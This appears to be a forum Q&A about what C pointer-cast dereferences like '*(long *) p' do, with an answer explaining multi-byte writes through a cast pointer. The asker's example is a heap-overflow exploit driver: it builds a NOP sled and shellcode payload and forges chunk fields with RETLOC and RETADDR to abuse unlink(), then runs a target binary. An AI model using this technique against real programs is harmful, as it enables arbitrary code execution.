Question

I’ve come across pointers to casted pointers (not sure that this is the correct term) in C such as:

*(long *) p = 10; I could never for the life of me understand what it means, or, the other example:

*(void *) NULL, or *(char *) 0; I just can’t wrap my head around it, could someone please explain this to me, and save me from partial brain damage? 🙂

Thanks

(P.S An example is shown below of such usage)

int main(int argc, char *argv[]) {
char *p, *payload = (char *) malloc(1052);

    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p, "\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness", "./wilderness", payload, NULL); }

Answer 1

First break up the statement:

  long *q = (long*)p;
  *q = 10;
  p += 4;

The p argument is of type char*, you can only read or write 1 byte at a time through that pointer. The cast to long* creates a pointer through which you can read or write 4 bytes at a time from/to the same address. The assignment writes the bytes 0x00, 0x00, 0x00, 0x0A. The same thing as:

  *p = 10;
  p++;
  *p = 0;
  p++;
  *p = 0;
  p++;
  *p = 0;

Depending on byte order. After the assignment, p needs to be incremented by 4 because 4 bytes were written.

This trick is pretty common with buffers of bytes that contain non-byte data.